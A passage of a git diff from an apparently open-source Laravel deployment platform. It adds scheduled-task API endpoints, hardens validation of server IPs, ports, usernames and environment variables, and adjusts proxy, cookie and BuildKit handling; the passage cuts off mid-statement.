'list-scheduled-tasks-by-application-uuid', + security: [ + ['bearerAuth' => []], + ], + tags: ['Scheduled Tasks'], + parameters: [ + new OA\Parameter( + name: 'uuid', + in: 'path', + description: 'UUID of the application.', + required: true, + schema: new OA\Schema( + type: 'string', + ) + ), + ], + responses: [ + new OA\Response( + response: 200, + description: 'Get all scheduled tasks for an application.', + content: [ + new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema( + type: 'array', + items: new OA\Items(ref: '#/components/schemas/ScheduledTask') + ) + ), + ] + ), + new OA\Response( + response: 401, + ref: '#/components/responses/401', + ), + new OA\Response( + response: 404, + ref: '#/components/responses/404', + ), + ] + )] + public function scheduled_tasks_by_application_uuid(Request $request): \Illuminate\Http\JsonResponse + { + $teamId = getTeamIdFromToken(); + if (is_null($teamId)) { + return invalidTokenResponse(); + } + + $application = $this->resolveApplication($request, $teamId); + if (! $application) { + return response()->json(['message' => 'Application not found.'], 404); + } + + return $this->listTasks($application); + } + + #[OA\Post( + summary: 'Create Task', + description: 'Create a new scheduled task for an application.', + path: '/applications/{uuid}/scheduled-tasks', + operationId: 'create-scheduled-task-by-application-uuid', + security: [ + ['bearerAuth' => []], + ], + tags: ['Scheduled Tasks'], + parameters: [ + new OA\Parameter( + name: 'uuid', + in: 'path', + description: 'UUID of the application.', + required: true, + schema: new OA\Schema( + type: 'string', + ) + ), + ], + requestBody: new OA\RequestBody( + description: 'Scheduled task data', + required: true, + content: new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema( + type: 'object', + required: ['name', 'command', 'frequency'], + properties: [ + 'name' => ['type' => 'string', 'description' => 'The name of the scheduled task.'], + 'command' => ['type' => 'string', 'description' => 'The command to execute.'], + 'frequency' => ['type' => 'string', 'description' => 'The frequency of the scheduled task.'], + 'container' => ['type' => 'string', 'nullable' => true, 'description' => 'The container where the command should be executed.'], + 'timeout' => ['type' => 'integer', 'description' => 'The timeout of the scheduled task in seconds.', 'default' => 300], + 'enabled' => ['type' => 'boolean', 'description' => 'The flag to indicate if the scheduled task is enabled.', 'default' => true], + ], + ), + ) + ), + responses: [ + new OA\Response( + response: 201, + description: 'Scheduled task created.', + content: [ + new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema(ref: '#/components/schemas/ScheduledTask') + ), + ] + ), + new OA\Response( + response: 401, + ref: '#/components/responses/401', + ), + new OA\Response( + response: 404, + ref: '#/components/responses/404', + ), + new OA\Response( + response: 422, + ref: '#/components/responses/422', + ), + ] + )] + public function create_scheduled_task_by_application_uuid(Request $request): \Illuminate\Http\JsonResponse + { + $teamId = getTeamIdFromToken(); + if (is_null($teamId)) { + return invalidTokenResponse(); + } + + $application = $this->resolveApplication($request, $teamId); + if (! $application) { + return response()->json(['message' => 'Application not found.'], 404); + } + + return $this->createTask($request, $application); + } + + #[OA\Patch( + summary: 'Update Task', + description: 'Update a scheduled task for an application.', + path: '/applications/{uuid}/scheduled-tasks/{task_uuid}', + operationId: 'update-scheduled-task-by-application-uuid', + security: [ + ['bearerAuth' => []], + ], + tags: ['Scheduled Tasks'], + parameters: [ + new OA\Parameter( + name: 'uuid', + in: 'path', + description: 'UUID of the application.', + required: true, + schema: new OA\Schema( + type: 'string', + ) + ), + new OA\Parameter( + name: 'task_uuid', + in: 'path', + description: 'UUID of the scheduled task.', + required: true, + schema: new OA\Schema( + type: 'string', + ) + ), + ], + requestBody: new OA\RequestBody( + description: 'Scheduled task data', + required: true, + content: new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema( + type: 'object', + properties: [ + 'name' => ['type' => 'string', 'description' => 'The name of the scheduled task.'], + 'command' => ['type' => 'string', 'description' => 'The command to execute.'], + 'frequency' => ['type' => 'string', 'description' => 'The frequency of the scheduled task.'], + 'container' => ['type' => 'string', 'nullable' => true, 'description' => 'The container where the command should be executed.'], + 'timeout' => ['type' => 'integer', 'description' => 'The timeout of the scheduled task in seconds.', 'default' => 300], + 'enabled' => ['type' => 'boolean', 'description' => 'The flag to indicate if the scheduled task is enabled.', 'default' => true], + ], + ), + ) + ), + responses: [ + new OA\Response( + response: 200, + description: 'Scheduled task updated.', + content: [ + new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema(ref: '#/components/schemas/ScheduledTask') + ), + ] + ), + new OA\Response( + response: 401, + ref: '#/components/responses/401', + ), + new OA\Response( + response: 404, + ref: '#/components/responses/404', + ), + new OA\Response( + response: 422, + ref: '#/components/responses/422', + ), + ] + )] + public function update_scheduled_task_by_application_uuid(Request $request): \Illuminate\Http\JsonResponse + { + $teamId = getTeamIdFromToken(); + if (is_null($teamId)) { + return invalidTokenResponse(); + } + + $application = $this->resolveApplication($request, $teamId); + if (! $application) { + return response()->json(['message' => 'Application not found.'], 404); + } + + return $this->updateTask($request, $application); + } + + #[OA\Delete( + summary: 'Delete Task', + description: 'Delete a scheduled task for an application.', + path: '/applications/{uuid}/scheduled-tasks/{task_uuid}', + operationId: 'delete-scheduled-task-by-application-uuid', + security: [ + ['bearerAuth' => []], + ], + tags: ['Scheduled Tasks'], + parameters: [ + new OA\Parameter( + name: 'uuid', + in: 'path', + description: 'UUID of the application.', + required: true, + schema: new OA\Schema( + type: 'string', + ) + ), + new OA\Parameter( + name: 'task_uuid', + in: 'path', + description: 'UUID of the scheduled task.', + required: true, + schema: new OA\Schema( + type: 'string', + ) + ), + ], + responses: [ + new OA\Response( + response: 200, + description: 'Scheduled task deleted.', + content: [ + new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema( + type: 'object', + properties: [ + 'message' => ['type' => 'string', 'example' => 'Scheduled task deleted.'], + ] + ) + ), + ] + ), + new OA\Response( + response: 401, + ref: '#/components/responses/401', + ), + new OA\Response( + response: 404, + ref: '#/components/responses/404', + ), + ] + )] + public function delete_scheduled_task_by_application_uuid(Request $request): \Illuminate\Http\JsonResponse + { + $teamId = getTeamIdFromToken(); + if (is_null($teamId)) { + return invalidTokenResponse(); + } + + $application = $this->resolveApplication($request, $teamId); + if (! $application) { + return response()->json(['message' => 'Application not found.'], 404); + } + + return $this->deleteTask($request, $application); + } + + #[OA\Get( + summary: 'List Executions', + description: 'List all executions for a scheduled task on an application.', + path: '/applications/{uuid}/scheduled-tasks/{task_uuid}/executions', + operationId: 'list-scheduled-task-executions-by-application-uuid', + security: [ + ['bearerAuth' => []], + ], + tags: ['Scheduled Tasks'], + parameters: [ + new OA\Parameter( + name: 'uuid', + in: 'path', + description: 'UUID of the application.', + required: true, + schema: new OA\Schema( + type: 'string', + ) + ), + new OA\Parameter( + name: 'task_uuid', + in: 'path', + description: 'UUID of the scheduled task.', + required: true, + schema: new OA\Schema( + type: 'string', + ) + ), + ], + responses: [ + new OA\Response( + response: 200, + description: 'Get all executions for a scheduled task.', + content: [ + new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema( + type: 'array', + items: new OA\Items(ref: '#/components/schemas/ScheduledTaskExecution') + ) + ), + ] + ), + new OA\Response( + response: 401, + ref: '#/components/responses/401', + ), + new OA\Response( + response: 404, + ref: '#/components/responses/404', + ), + ] + )] + public function executions_by_application_uuid(Request $request): \Illuminate\Http\JsonResponse + { + $teamId = getTeamIdFromToken(); + if (is_null($teamId)) { + return invalidTokenResponse(); + } + + $application = $this->resolveApplication($request, $teamId); + if (! $application) { + return response()->json(['message' => 'Application not found.'], 404); + } + + return $this->getExecutions($request, $application); + } + + #[OA\Get( + summary: 'List Tasks', + description: 'List all scheduled tasks for a service.', + path: '/services/{uuid}/scheduled-tasks', + operationId: 'list-scheduled-tasks-by-service-uuid', + security: [ + ['bearerAuth' => []], + ], + tags: ['Scheduled Tasks'], + parameters: [ + new OA\Parameter( + name: 'uuid', + in: 'path', + description: 'UUID of the service.', + required: true, + schema: new OA\Schema( + type: 'string', + ) + ), + ], + responses: [ + new OA\Response( + response: 200, + description: 'Get all scheduled tasks for a service.', + content: [ + new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema( + type: 'array', + items: new OA\Items(ref: '#/components/schemas/ScheduledTask') + ) + ), + ] + ), + new OA\Response( + response: 401, + ref: '#/components/responses/401', + ), + new OA\Response( + response: 404, + ref: '#/components/responses/404', + ), + ] + )] + public function scheduled_tasks_by_service_uuid(Request $request): \Illuminate\Http\JsonResponse + { + $teamId = getTeamIdFromToken(); + if (is_null($teamId)) { + return invalidTokenResponse(); + } + + $service = $this->resolveService($request, $teamId); + if (! $service) { + return response()->json(['message' => 'Service not found.'], 404); + } + + return $this->listTasks($service); + } + + #[OA\Post( + summary: 'Create Task', + description: 'Create a new scheduled task for a service.', + path: '/services/{uuid}/scheduled-tasks', + operationId: 'create-scheduled-task-by-service-uuid', + security: [ + ['bearerAuth' => []], + ], + tags: ['Scheduled Tasks'], + parameters: [ + new OA\Parameter( + name: 'uuid', + in: 'path', + description: 'UUID of the service.', + required: true, + schema: new OA\Schema( + type: 'string', + ) + ), + ], + requestBody: new OA\RequestBody( + description: 'Scheduled task data', + required: true, + content: new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema( + type: 'object', + required: ['name', 'command', 'frequency'], + properties: [ + 'name' => ['type' => 'string', 'description' => 'The name of the scheduled task.'], + 'command' => ['type' => 'string', 'description' => 'The command to execute.'], + 'frequency' => ['type' => 'string', 'description' => 'The frequency of the scheduled task.'], + 'container' => ['type' => 'string', 'nullable' => true, 'description' => 'The container where the command should be executed.'], + 'timeout' => ['type' => 'integer', 'description' => 'The timeout of the scheduled task in seconds.', 'default' => 300], + 'enabled' => ['type' => 'boolean', 'description' => 'The flag to indicate if the scheduled task is enabled.', 'default' => true], + ], + ), + ) + ), + responses: [ + new OA\Response( + response: 201, + description: 'Scheduled task created.', + content: [ + new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema(ref: '#/components/schemas/ScheduledTask') + ), + ] + ), + new OA\Response( + response: 401, + ref: '#/components/responses/401', + ), + new OA\Response( + response: 404, + ref: '#/components/responses/404', + ), + new OA\Response( + response: 422, + ref: '#/components/responses/422', + ), + ] + )] + public function create_scheduled_task_by_service_uuid(Request $request): \Illuminate\Http\JsonResponse + { + $teamId = getTeamIdFromToken(); + if (is_null($teamId)) { + return invalidTokenResponse(); + } + + $service = $this->resolveService($request, $teamId); + if (! $service) { + return response()->json(['message' => 'Service not found.'], 404); + } + + return $this->createTask($request, $service); + } + + #[OA\Patch( + summary: 'Update Task', + description: 'Update a scheduled task for a service.', + path: '/services/{uuid}/scheduled-tasks/{task_uuid}', + operationId: 'update-scheduled-task-by-service-uuid', + security: [ + ['bearerAuth' => []], + ], + tags: ['Scheduled Tasks'], + parameters: [ + new OA\Parameter( + name: 'uuid', + in: 'path', + description: 'UUID of the service.', + required: true, + schema: new OA\Schema( + type: 'string', + ) + ), + new OA\Parameter( + name: 'task_uuid', + in: 'path', + description: 'UUID of the scheduled task.', + required: true, + schema: new OA\Schema( + type: 'string', + ) + ), + ], + requestBody: new OA\RequestBody( + description: 'Scheduled task data', + required: true, + content: new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema( + type: 'object', + properties: [ + 'name' => ['type' => 'string', 'description' => 'The name of the scheduled task.'], + 'command' => ['type' => 'string', 'description' => 'The command to execute.'], + 'frequency' => ['type' => 'string', 'description' => 'The frequency of the scheduled task.'], + 'container' => ['type' => 'string', 'nullable' => true, 'description' => 'The container where the command should be executed.'], + 'timeout' => ['type' => 'integer', 'description' => 'The timeout of the scheduled task in seconds.', 'default' => 300], + 'enabled' => ['type' => 'boolean', 'description' => 'The flag to indicate if the scheduled task is enabled.', 'default' => true], + ], + ), + ) + ), + responses: [ + new OA\Response( + response: 200, + description: 'Scheduled task updated.', + content: [ + new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema(ref: '#/components/schemas/ScheduledTask') + ), + ] + ), + new OA\Response( + response: 401, + ref: '#/components/responses/401', + ), + new OA\Response( + response: 404, + ref: '#/components/responses/404', + ), + new OA\Response( + response: 422, + ref: '#/components/responses/422', + ), + ] + )] + public function update_scheduled_task_by_service_uuid(Request $request): \Illuminate\Http\JsonResponse + { + $teamId = getTeamIdFromToken(); + if (is_null($teamId)) { + return invalidTokenResponse(); + } + + $service = $this->resolveService($request, $teamId); + if (! $service) { + return response()->json(['message' => 'Service not found.'], 404); + } + + return $this->updateTask($request, $service); + } + + #[OA\Delete( + summary: 'Delete Task', + description: 'Delete a scheduled task for a service.', + path: '/services/{uuid}/scheduled-tasks/{task_uuid}', + operationId: 'delete-scheduled-task-by-service-uuid', + security: [ + ['bearerAuth' => []], + ], + tags: ['Scheduled Tasks'], + parameters: [ + new OA\Parameter( + name: 'uuid', + in: 'path', + description: 'UUID of the service.', + required: true, + schema: new OA\Schema( + type: 'string', + ) + ), + new OA\Parameter( + name: 'task_uuid', + in: 'path', + description: 'UUID of the scheduled task.', + required: true, + schema: new OA\Schema( + type: 'string', + ) + ), + ], + responses: [ + new OA\Response( + response: 200, + description: 'Scheduled task deleted.', + content: [ + new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema( + type: 'object', + properties: [ + 'message' => ['type' => 'string', 'example' => 'Scheduled task deleted.'], + ] + ) + ), + ] + ), + new OA\Response( + response: 401, + ref: '#/components/responses/401', + ), + new OA\Response( + response: 404, + ref: '#/components/responses/404', + ), + ] + )] + public function delete_scheduled_task_by_service_uuid(Request $request): \Illuminate\Http\JsonResponse + { + $teamId = getTeamIdFromToken(); + if (is_null($teamId)) { + return invalidTokenResponse(); + } + + $service = $this->resolveService($request, $teamId); + if (! $service) { + return response()->json(['message' => 'Service not found.'], 404); + } + + return $this->deleteTask($request, $service); + } + + #[OA\Get( + summary: 'List Executions', + description: 'List all executions for a scheduled task on a service.', + path: '/services/{uuid}/scheduled-tasks/{task_uuid}/executions', + operationId: 'list-scheduled-task-executions-by-service-uuid', + security: [ + ['bearerAuth' => []], + ], + tags: ['Scheduled Tasks'], + parameters: [ + new OA\Parameter( + name: 'uuid', + in: 'path', + description: 'UUID of the service.', + required: true, + schema: new OA\Schema( + type: 'string', + ) + ), + new OA\Parameter( + name: 'task_uuid', + in: 'path', + description: 'UUID of the scheduled task.', + required: true, + schema: new OA\Schema( + type: 'string', + ) + ), + ], + responses: [ + new OA\Response( + response: 200, + description: 'Get all executions for a scheduled task.', + content: [ + new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema( + type: 'array', + items: new OA\Items(ref: '#/components/schemas/ScheduledTaskExecution') + ) + ), + ] + ), + new OA\Response( + response: 401, + ref: '#/components/responses/401', + ), + new OA\Response( + response: 404, + ref: '#/components/responses/404', + ), + ] + )] + public function executions_by_service_uuid(Request $request): \Illuminate\Http\JsonResponse + { + $teamId = getTeamIdFromToken(); + if (is_null($teamId)) { + return invalidTokenResponse(); + } + + $service = $this->resolveService($request, $teamId); + if (! $service) { + return response()->json(['message' => 'Service not found.'], 404); + } + + return $this->getExecutions($request, $service); + } +} diff --git a/app/Http/Controllers/Api/ServersController.php b/app/Http/Controllers/Api/ServersController.php index a29839d14..da94521a8 100644 --- a/app/Http/Controllers/Api/ServersController.php +++ b/app/Http/Controllers/Api/ServersController.php @@ -7,10 +7,12 @@ use App\Enums\ProxyStatus; use App\Enums\ProxyTypes; use App\Http\Controllers\Controller; +use App\Jobs\DeleteResourceJob; use App\Models\Application; use App\Models\PrivateKey; use App\Models\Project; use App\Models\Server as ModelsServer; +use App\Rules\ValidServerIp; use Illuminate\Http\Request; use OpenApi\Attributes as OA; use Stringable; @@ -290,9 +292,12 @@ public function domains_by_server(Request $request) } $uuid = $request->get('uuid'); if ($uuid) { - $domains = Application::getDomainsByUuid($uuid); + $application = Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $uuid)->first(); + if (! $application) { + return response()->json(['message' => 'Application not found.'], 404); + } - return response()->json(serializeApiResponse($domains)); + return response()->json(serializeApiResponse($application->fqdns)); } $projects = Project::where('team_id', $teamId)->get(); $domains = collect(); @@ -469,10 +474,10 @@ public function create_server(Request $request) $validator = customApiValidator($request->all(), [ 'name' => 'string|max:255', 'description' => 'string|nullable', - 'ip' => 'string|required', - 'port' => 'integer|nullable', + 'ip' => ['string', 'required', new ValidServerIp], + 'port' => 'integer|nullable|between:1,65535', 'private_key_uuid' => 'string|required', - 'user' => 'string|nullable', + 'user' => ['string', 'nullable', 'regex:/^[a-zA-Z0-9_-]+$/'], 'is_build_server' => 'boolean|nullable', 'instant_validate' => 'boolean|nullable', 'proxy_type' => 'string|nullable', @@ -634,10 +639,10 @@ public function update_server(Request $request) $validator = customApiValidator($request->all(), [ 'name' => 'string|max:255|nullable', 'description' => 'string|nullable', - 'ip' => 'string|nullable', - 'port' => 'integer|nullable', + 'ip' => ['string', 'nullable', new ValidServerIp], + 'port' => 'integer|nullable|between:1,65535', 'private_key_uuid' => 'string|nullable', - 'user' => 'string|nullable', + 'user' => ['string', 'nullable', 'regex:/^[a-zA-Z0-9_-]+$/'], 'is_build_server' => 'boolean|nullable', 'instant_validate' => 'boolean|nullable', 'proxy_type' => 'string|nullable', @@ -754,12 +759,22 @@ public function delete_server(Request $request) if (! $server) { return response()->json(['message' => 'Server not found.'], 404); } - if ($server->definedResources()->count() > 0) { - return response()->json(['message' => 'Server has resources, so you need to delete them before.'], 400); + + $force = filter_var($request->query('force', false), FILTER_VALIDATE_BOOLEAN); + + if ($server->definedResources()->count() > 0 && ! $force) { + return response()->json(['message' => 'Server has resources. Use ?force=true to delete all resources and the server, or delete resources manually first.'], 400); } if ($server->isLocalhost()) { return response()->json(['message' => 'Local server cannot be deleted.'], 400); } + + if ($force) { + foreach ($server->definedResources() as $resource) { + DeleteResourceJob::dispatch($resource); + } + } + $server->delete(); DeleteServer::dispatch( $server->id, diff --git a/app/Http/Controllers/Api/ServicesController.php b/app/Http/Controllers/Api/ServicesController.php index ee4d84f10..32097443e 100644 --- a/app/Http/Controllers/Api/ServicesController.php +++ b/app/Http/Controllers/Api/ServicesController.php @@ -222,6 +222,7 @@ public function services(Request $request) ), ], 'force_domain_override' => ['type' => 'boolean', 'default' => false, 'description' => 'Force domain override even if conflicts are detected.'], + 'is_container_label_escape_enabled' => ['type' => 'boolean', 'default' => true, 'description' => 'Escape special characters in labels. By default, $ (and other chars) is escaped. If you want to use env variables inside the labels, turn this off.'], ], ), ), @@ -288,7 +289,7 @@ public function services(Request $request) )] public function create_service(Request $request) { - $allowedFields = ['type', 'name', 'description', 'project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'instant_deploy', 'docker_compose_raw', 'urls', 'force_domain_override']; + $allowedFields = ['type', 'name', 'description', 'project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'instant_deploy', 'docker_compose_raw', 'urls', 'force_domain_override', 'is_container_label_escape_enabled']; $teamId = getTeamIdFromToken(); if (is_null($teamId)) { @@ -317,6 +318,7 @@ public function create_service(Request $request) 'urls.*.name' => 'string|required', 'urls.*.url' => 'string|nullable', 'force_domain_override' => 'boolean', + 'is_container_label_escape_enabled' => 'boolean', ]; $validationMessages = [ 'urls.*.array' => 'An item in the urls array has invalid fields. Only name and url fields are supported.', @@ -377,6 +379,17 @@ public function create_service(Request $request) return response()->json(['message' => 'Server has multiple destinations and you do not set destination_uuid.'], 400); } $destination = $destinations->first(); + if ($destinations->count() > 1 && $request->has('destination_uuid')) { + $destination = $destinations->where('uuid', $request->destination_uuid)->first(); + if (! $destination) { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => [ + 'destination_uuid' => 'Provided destination_uuid does not belong to the specified server.', + ], + ], 422); + } + } $services = get_service_templates(); $serviceKeys = $services->keys(); if ($serviceKeys->contains($request->type)) { @@ -418,6 +431,9 @@ public function create_service(Request $request) $service = Service::create($servicePayload); $service->name = $request->name ?? "$oneClickServiceName-".$service->uuid; $service->description = $request->description; + if ($request->has('is_container_label_escape_enabled')) { + $service->is_container_label_escape_enabled = $request->boolean('is_container_label_escape_enabled'); + } $service->save(); if ($oneClickDotEnvs?->count() > 0) { $oneClickDotEnvs->each(function ($value) use ($service) { @@ -474,7 +490,7 @@ public function create_service(Request $request) return response()->json(['message' => 'Service not found.', 'valid_service_types' => $serviceKeys], 404); } elseif (filled($request->docker_compose_raw)) { - $allowedFields = ['name', 'description', 'project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'instant_deploy', 'docker_compose_raw', 'connect_to_docker_network', 'urls', 'force_domain_override']; + $allowedFields = ['name', 'description', 'project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'instant_deploy', 'docker_compose_raw', 'connect_to_docker_network', 'urls', 'force_domain_override', 'is_container_label_escape_enabled']; $validationRules = [ 'project_uuid' => 'string|required', @@ -492,6 +508,7 @@ public function create_service(Request $request) 'urls.*.name' => 'string|required', 'urls.*.url' => 'string|nullable', 'force_domain_override' => 'boolean', + 'is_container_label_escape_enabled' => 'boolean', ]; $validationMessages = [ 'urls.*.array' => 'An item in the urls array has invalid fields. Only name and url fields are supported.', @@ -543,6 +560,17 @@ public function create_service(Request $request) return response()->json(['message' => 'Server has multiple destinations and you do not set destination_uuid.'], 400); } $destination = $destinations->first(); + if ($destinations->count() > 1 && $request->has('destination_uuid')) { + $destination = $destinations->where('uuid', $request->destination_uuid)->first(); + if (! $destination) { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => [ + 'destination_uuid' => 'Provided destination_uuid does not belong to the specified server.', + ], + ], 422); + } + } if (! isBase64Encoded($request->docker_compose_raw)) { return response()->json([ 'message' => 'Validation failed.', @@ -587,6 +615,9 @@ public function create_service(Request $request) $service->destination_id = $destination->id; $service->destination_type = $destination->getMorphClass(); $service->connect_to_docker_network = $connectToDockerNetwork; + if ($request->has('is_container_label_escape_enabled')) { + $service->is_container_label_escape_enabled = $request->boolean('is_container_label_escape_enabled'); + } $service->save(); $service->parse(isNew: true); @@ -813,6 +844,7 @@ public function delete_by_uuid(Request $request) ), ], 'force_domain_override' => ['type' => 'boolean', 'default' => false, 'description' => 'Force domain override even if conflicts are detected.'], + 'is_container_label_escape_enabled' => ['type' => 'boolean', 'default' => true, 'description' => 'Escape special characters in labels. By default, $ (and other chars) is escaped. If you want to use env variables inside the labels, turn this off.'], ], ) ), @@ -901,7 +933,7 @@ public function update_by_uuid(Request $request) $this->authorize('update', $service); - $allowedFields = ['name', 'description', 'instant_deploy', 'docker_compose_raw', 'connect_to_docker_network', 'urls', 'force_domain_override']; + $allowedFields = ['name', 'description', 'instant_deploy', 'docker_compose_raw', 'connect_to_docker_network', 'urls', 'force_domain_override', 'is_container_label_escape_enabled']; $validationRules = [ 'name' => 'string|max:255', @@ -914,6 +946,7 @@ public function update_by_uuid(Request $request) 'urls.*.name' => 'string|required', 'urls.*.url' => 'string|nullable', 'force_domain_override' => 'boolean', + 'is_container_label_escape_enabled' => 'boolean', ]; $validationMessages = [ 'urls.*.array' => 'An item in the urls array has invalid fields. Only name and url fields are supported.', @@ -979,6 +1012,9 @@ public function update_by_uuid(Request $request) if ($request->has('connect_to_docker_network')) { $service->connect_to_docker_network = $request->connect_to_docker_network; } + if ($request->has('is_container_label_escape_enabled')) { + $service->is_container_label_escape_enabled = $request->boolean('is_container_label_escape_enabled'); + } $service->save(); $service->parse(); @@ -1184,6 +1220,7 @@ public function update_env_by_uuid(Request $request) 'is_literal' => 'boolean', 'is_multiline' => 'boolean', 'is_shown_once' => 'boolean', + 'comment' => 'string|nullable|max:256', ]); if ($validator->fails()) { @@ -1199,7 +1236,19 @@ public function update_env_by_uuid(Request $request) return response()->json(['message' => 'Environment variable not found.'], 404); } - $env->fill($request->all()); + $env->value = $request->value; + if ($request->has('is_literal')) { + $env->is_literal = $request->is_literal; + } + if ($request->has('is_multiline')) { + $env->is_multiline = $request->is_multiline; + } + if ($request->has('is_shown_once')) { + $env->is_shown_once = $request->is_shown_once; + } + if ($request->has('comment')) { + $env->comment = $request->comment; + } $env->save(); return response()->json($this->removeSensitiveData($env))->setStatusCode(201); @@ -1425,6 +1474,7 @@ public function create_env(Request $request) 'is_literal' => 'boolean', 'is_multiline' => 'boolean', 'is_shown_once' => 'boolean', + 'comment' => 'string|nullable|max:256', ]); if ($validator->fails()) { @@ -1442,7 +1492,14 @@ public function create_env(Request $request) ], 409); } - $env = $service->environment_variables()->create($request->all()); + $env = $service->environment_variables()->create([ + 'key' => $key, + 'value' => $request->value, + 'is_literal' => $request->is_literal ?? false, + 'is_multiline' => $request->is_multiline ?? false, + 'is_shown_once' => $request->is_shown_once ?? false, + 'comment' => $request->comment ?? null, + ]); return response()->json($this->removeSensitiveData($env))->setStatusCode(201); } @@ -1633,6 +1690,15 @@ public function action_deploy(Request $request) type: 'string', ) ), + new OA\Parameter( + name: 'docker_cleanup', + in: 'query', + description: 'Perform docker cleanup (prune networks, volumes, etc.).', + schema: new OA\Schema( + type: 'boolean', + default: true, + ) + ), ], responses: [ new OA\Response( @@ -1684,7 +1750,9 @@ public function action_stop(Request $request) if (str($service->status)->contains('stopped') || str($service->status)->contains('exited')) { return response()->json(['message' => 'Service is already stopped.'], 400); } - StopService::dispatch($service); + + $dockerCleanup = $request->boolean('docker_cleanup', true); + StopService::dispatch($service, false, $dockerCleanup); return response()->json( [ diff --git a/app/Http/Middleware/CheckForcePasswordReset.php b/app/Http/Middleware/CheckForcePasswordReset.php index 78b1f896c..c857cb836 100644 --- a/app/Http/Middleware/CheckForcePasswordReset.php +++ b/app/Http/Middleware/CheckForcePasswordReset.php @@ -25,7 +25,7 @@ public function handle(Request $request, Closure $next): Response } $force_password_reset = auth()->user()->force_password_reset; if ($force_password_reset) { - if ($request->routeIs('auth.force-password-reset') || $request->path() === 'force-password-reset' || $request->path() === 'livewire/update' || $request->path() === 'logout') { + if ($request->routeIs('auth.force-password-reset') || $request->path() === 'force-password-reset' || $request->path() === 'two-factor-challenge' || $request->path() === 'livewire/update' || $request->path() === 'logout') { return $next($request); } diff --git a/app/Http/Middleware/TrustHosts.php b/app/Http/Middleware/TrustHosts.php index f0b9d67f2..5fca583d9 100644 --- a/app/Http/Middleware/TrustHosts.php +++ b/app/Http/Middleware/TrustHosts.php @@ -91,6 +91,13 @@ public function hosts(): array // Trust all subdomains of APP_URL as fallback $trustedHosts[] = $this->allSubdomainsOfApplicationUrl(); + // Always trust loopback addresses so local access works even when FQDN is configured + foreach (['localhost', '127.0.0.1', '[::1]'] as $localHost) { + if (! in_array($localHost, $trustedHosts, true)) { + $trustedHosts[] = $localHost; + } + } + return array_filter($trustedHosts); } } diff --git a/app/Http/Middleware/TrustProxies.php b/app/Http/Middleware/TrustProxies.php index 559dd2fc3..a4764047b 100644 --- a/app/Http/Middleware/TrustProxies.php +++ b/app/Http/Middleware/TrustProxies.php @@ -25,4 +25,26 @@ class TrustProxies extends Middleware Request::HEADER_X_FORWARDED_PORT | Request::HEADER_X_FORWARDED_PROTO | Request::HEADER_X_FORWARDED_AWS_ELB; + + /** + * Handle the request. + * + * Wraps $next so that after proxy headers are resolved (X-Forwarded-Proto processed), + * the Secure cookie flag is auto-enabled when the request is over HTTPS. + * This ensures session cookies are correctly marked Secure when behind an HTTPS + * reverse proxy (Cloudflare Tunnel, nginx, etc.) even when SESSION_SECURE_COOKIE + * is not explicitly set in .env. + */ + public function handle($request, \Closure $next) + { + return parent::handle($request, function ($request) use ($next) { + // At this point proxy headers have been applied to the request, + // so $request->secure() correctly reflects the actual protocol. + if ($request->secure() && config('session.secure') === null) { + config(['session.secure' => true]); + } + + return $next($request); + }); + } } diff --git a/app/Jobs/ApplicationDeploymentJob.php b/app/Jobs/ApplicationDeploymentJob.php index eaee7e221..f84cdceb9 100644 --- a/app/Jobs/ApplicationDeploymentJob.php +++ b/app/Jobs/ApplicationDeploymentJob.php @@ -171,6 +171,8 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue private bool $dockerBuildkitSupported = false; + private bool $dockerSecretsSupported = false; + private bool $skip_build = false; private Collection|string $build_secrets; @@ -251,7 +253,7 @@ public function __construct(public int $application_deployment_queue_id) } if ($this->application->build_pack === 'dockerfile') { if (data_get($this->application, 'dockerfile_location')) { - $this->dockerfile_location = $this->application->dockerfile_location; + $this->dockerfile_location = $this->validatePathField($this->application->dockerfile_location, 'dockerfile_location'); } } } @@ -381,13 +383,6 @@ public function handle(): void private function detectBuildKitCapabilities(): void { - // If build secrets are not enabled, skip detection and use traditional args - if (! $this->application->settings->use_build_secrets) { - $this->dockerBuildkitSupported = false; - - return; - } - $serverToCheck = $this->use_build_server ? $this->build_server : $this->server; $serverName = $this->use_build_server ? "build server ({$serverToCheck->name})" : "deployment server ({$serverToCheck->name})"; @@ -403,53 +398,55 @@ private function detectBuildKitCapabilities(): void if ($majorVersion < 18 || ($majorVersion == 18 && $minorVersion < 9)) { $this->dockerBuildkitSupported = false; - $this->application_deployment_queue->addLogEntry("Docker {$dockerVersion} on {$serverName} does not support BuildKit (requires 18.09+). Build secrets feature disabled."); + $this->application_deployment_queue->addLogEntry("Docker {$dockerVersion} on {$serverName} does not support BuildKit (requires 18.09+)."); return; } - $buildkitEnabled = instant_remote_process( + // Check buildx availability (always installed by Coolify on Docker 24.0+) + $buildxAvailable = instant_remote_process( ["docker buildx version >/dev/null 2>&1 && echo 'available' || echo 'not-available'"], $serverToCheck ); - if (trim($buildkitEnabled) !== 'available') { + if (trim($buildxAvailable) === 'available') { + $this->dockerBuildkitSupported = true; + $this->application_deployment_queue->addLogEntry("Docker {$dockerVersion} with BuildKit and Buildx detected on {$serverName}."); + } else { + // Fallback: test DOCKER_BUILDKIT=1 support via --progress flag $buildkitTest = instant_remote_process( - ["DOCKER_BUILDKIT=1 docker build --help 2>&1 | grep -q 'secret' && echo 'supported' || echo 'not-supported'"], + 